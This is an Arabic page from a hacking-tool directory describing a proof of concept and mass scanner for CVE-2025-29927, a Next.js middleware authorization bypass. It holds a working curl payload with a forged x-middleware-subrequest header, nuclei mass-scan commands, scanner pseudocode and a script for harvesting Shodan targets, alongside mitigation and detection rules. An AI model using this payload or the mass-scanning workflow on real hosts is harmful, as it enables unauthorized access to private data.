Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-29927 — أداة إثبات المفهوم والمسح الجماعي لـ CVE-2025-29927، وهو تجاوز صلاحية المصادقة الوسيطة في Next.js عن طريق رأس الطلب الفرعي للوسائط المزور x-middleware-subrequest. تتضمن قوالب nuclei وماسحًا ضوئيًا بلغة بايثون. | Kitploit
أدوات/GitHubGitHub/sdrtba/cve-2025-29927
المصادقة والترخيصتحليل الثغرات الأمنيةالتهرب من IDS/IPSاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubsdrtba/cve-2025-29927

CVE-2025-29927

أداة إثبات المفهوم والمسح الجماعي لـ CVE-2025-29927، وهو تجاوز صلاحية المصادقة الوسيطة في Next.js عن طريق رأس الطلب الفرعي للوسائط المزور x-middleware-subrequest. تتضمن قوالب nuclei وماسحًا ضوئيًا بلغة بايثون.

عرض المستودع
18منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-29927 — Next.js (تجاوز تفويض الوسيطة)

باختصار: ثغرة في وسيطة Next.js تسمح بتجاوز فحوصات التفويض عن طريق تزوير رأس x-middleware-subrequest.


المحتويات

  • CVE-2025-29927 — Next.js (تجاوز تفويض الوسيطة)
    • المحتويات
    • جمع المضيفين المعرضين للخطر
    • معلومات إضافية
    • وصف مختصر
    • تفاصيل الثغرة
    • تصنيف نقاط الضعف CWE
    • التأثير والمخاطر الإضافية
    • الإصدارات المتأثرة
    • CVSS والمقاييس
    • إثبات المفهوم - إعادة إنتاج آمن محلياً
    • فحص جماعي باستخدام Nuclei وPython
      • Nuclei
      • ماسح Python (هيكلية)
    • التخفيف / العلاج
    • قواعد الكشف / SIEM / IDS
    • الكشف والفحص الجماعي (المسح والكشف)
    • الموارد والروابط

جمع المضيفين المعرضين للخطر

قمت بالبحث في shodan باستخدام الفلتر http.headers:"x-middleware-rewrite" وجلبت قائمة من 1000 نطاق

var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();

var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();


معلومات إضافية

  1. السياق والخلفية في الإصدارات المبكرة من Next.js، كان بإمكان الوسيطة (middleware) إجراء طلبات داخلية (فرعية) للتطبيق نفسه. لمنع التكرار، كان الإطار يقدم رؤوس HTTP خدمية - علامات داخلية تشير إلى "تمت معالجة هذا الطلب بالفعل". كان هذا النهج عملياً وتجنب الحلقات اللانهائية داخل مسار الوسيطة.

  2. تطور الوسيطة والأحمال (payloads) قبل Next.js 12.2، كانت الوسيطة موجودة كـ _middleware داخل pages/ ويمكن أن تكون متداخلة (pages/_middleware, pages/dashboard/_middleware إلخ). يمكن أن يشير الحمولة إلى مسار محدد (x-middleware-subrequest: pages/dashboard/_middleware). منذ 12.2، أصبحت الوسيطة تُسمى middleware.js/ts ولم تعد موجودة في pages/. في هذه الحالة، غالباً ما كان الحمولة البسيطة x-middleware-subrequest: middleware (أو src/middleware عند استخدام src/) تعمل. الإصدارات اللاحقة (≥ 13.2.0) أدخلت فحوصات إضافية، بما في ذلك MAX_RECURSION_DEPTH؛ في بعض الالتفافات استُخدمت قيم متكررة مثل middleware:middleware:... لمحاكاة سلسلة متداخلة. عملياً: يعتمد الشكل الدقيق للحمولة على إصدار Next.js وهيكل المشروع.

  3. تاريخ الإصلاح مشكلة x-middleware-subrequest-id تضمن التصحيح الأولي السريع فكرة معرف داخلي - x-middleware-subrequest-id - يتم إنشاؤه والتحقق منه في وقت التشغيل لتمييز الطلبات الفرعية الداخلية الصحيحة عن المزيفة. ومع ذلك، أظهر التنفيذ أثراً جانبياً: هذا المعرف الداخلي يمكن أن يتسرب للخارج (يظهر في طلبات fetch الخارجة)، مما يخلق خطراً جديداً. بالإضافة إلى ذلك، تبين أن توقيع/مزامنة المعرفات غير موثوقة في ظل وجود العديد من CDN/PoP وبيئات التشغيل المختلطة (Edge vs Node). نتيجة لذلك، تمت إزالة/إعادة هيكلة الكود الخاص بـ x-middleware-subrequest-id؛ الحل النهائي هو مزيج من التصحيحات في Next.js والتخفيفات على مستوى المنصة (تصفية الرؤوس الداخلية الواردة على مستوى ingress/edge).


وصف مختصر

  • CVE: CVE-2025-29927
  • المنتج: Next.js (Vercel)
  • باختصار: الوسيطة التي تنفذ التفويض تثق بشكل غير صحيح في العلامة الداخلية x-middleware-subrequest. يمكن للعميل الخارجي وضع هذا الرأس وتجاوز فحوصات الوصول.
  • تاريخ نشر NVD: 21 مارس 2025
  • CNA: GitHub, Inc.

تفاصيل الثغرة

  • الوصف: الخطأ يكمن في أن الوسيطة في Next.js تعتمد على العلامة الداخلية x-middleware-subrequest عند اتخاذ قرار الوصول. كان الحقل مخصصاً أصلاً للعمليات الداخلية للإطار، لكن الطلبات الخارجية يمكنها تعيين هذا الرأس، مما يسمح بتجاوز التفويض.
  • سبب الثغرة: منطق تفويض غير صحيح/غير آمن - الثقة في الرأس الوارد.
  • شروط الاستغلال: يستخدم تطبيق الويب فقط الوسيطة للتفويض؛ يستخدم التطبيق إصدارات Next.js المعرضة للخطر.

تصنيف نقاط الضعف CWE

  • CWE-863: تفويض غير صحيح - أساسي
    • الدليل: الوسيطة وثقت برأس 'x-middleware-subrequest' وتجاوزت الطلبات دون تحقق إضافي.
  • CWE-285: تفويض غير مناسب - ثانوي
    • الدليل: عدم وجود مصادقة/تفويض موثوق للتدفق الداخلي فقط.

التأثير والمخاطر الإضافية

  • التأثير: تجاوز التفويض يعطي وصولاً إلى الصفحات/البيانات الخاصة، إمكانية تصعيد (حسب التطبيق)، تسوية بيانات المستخدم.
  • المخاطر الإضافية: CPDoS (هجوم رفض الخدمة بتسميم ذاكرة التخزين المؤقت): قد تسمح الثغرة بالتلاعب بذاكرة تخزين CDN/edge المؤقتة (على سبيل المثال، إذا كانت الطلبات الفرعية الداخلية تضع علامة على الموارد كخاصة/عامة)، مما يؤدي إلى تسميم ذاكرة التخزين المؤقت واحتمال رفض الخدمة أو تسريب البيانات.
  • أمثلة على العواقب: تسريب PII، تجاوز منطق الأعمال، جلسات مخترقة، التدخل في توجيه التطبيق.

الإصدارات المتأثرة

نطاقات الإصدارات التالية معرضة للخطر:

  • >= 11.1.4 و < 12.3.5
  • >= 13.0.0 و < 13.5.9
  • >= 14.0.0 و < 14.2.25
  • >= 15.0.0 و < 15.2.3

CVSS والمقاييس

  • النتيجة الأساسية: 9.1 (حرج)
  • المتجه: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • الزمني: E:P (إثبات مفهوم) * RL:O (إصلاح رسمي) * RC:C (مؤكد) = 8.2 (نتيجة زمنية تقريبية).

إثبات المفهوم - إعادة إنتاج آمن محلياً

  1. تشغيل العرض التوضيحي الضعيف:
git clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
  1. إثبات مفهوم للقراءة فقط (curl):
# بدون رأس - نتوقع رفض (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20

# مع رأس مزيف - إذا كان ضعيفاً، سيعيد 200 + المحتوى
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20

فحص جماعي باستخدام Nuclei وPython

Nuclei

  • قالب سلبي: فحص البصمة (/_next/static/، package.json، الرؤوس، تجزئة favicon) - وضع آمن.
  • قالب نشط: يرسل GET مع x-middleware-subrequest ويقارن الرد. إلزامي استخدام حد المعدل والإبطاء.

أمر التشغيل (مثال):

# سلبي
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt

# نشط (بتحكم)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20

ماسح Python (هيكلية)

  • الخوارزمية: لكل مضيف الحصول على رد أساسي (بدون رأس) → التكرار مع رأس x-middleware-subrequest → مقارنة الحالة والمحتوى.
  • الخيارات الإلزامية: --concurrency، --delay، --dry-run، --respect-robots.
  • استخدم aiohttp / asyncio لأداء عالٍ.

كود زائف قصير:

async def probe(url):
    r1 = await session.get(url)
    r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
    if significant_difference(r1, r2):
        report_vulnerable(url)

التخفيف / العلاج

  1. أساسي: تحديث Next.js إلى الإصدار المصحح:
    • >= 12.3.5، >= 13.5.9، >= 14.2.25، >= 15.2.3.
  2. إصلاح سريع (edge/proxy): إزالة/مسح رأس x-middleware-subrequest عند الحدود:
  3. تغييرات التطبيق: إزالة اعتماد التفويض على الرؤوس الواردة؛ الاعتماد على JWT/tokens الجلسات/التحقق من الخادم.
  4. الكشف: إضافة تسجيل وقاعدة في SIEM/IDS: التنبيه عند الطلبات الخارجية التي تحتوي على x-middleware-subrequest والتحقق من المصدر.

قواعد الكشف / SIEM / IDS

أمثلة على القواعد/التنبيهات:

  • SIEM: تنبيه عند الطلبات الواردة التي تحتوي على x-middleware-subrequest إذا كان source.ip ليس في trusted_proxies.
تنزيل الأداة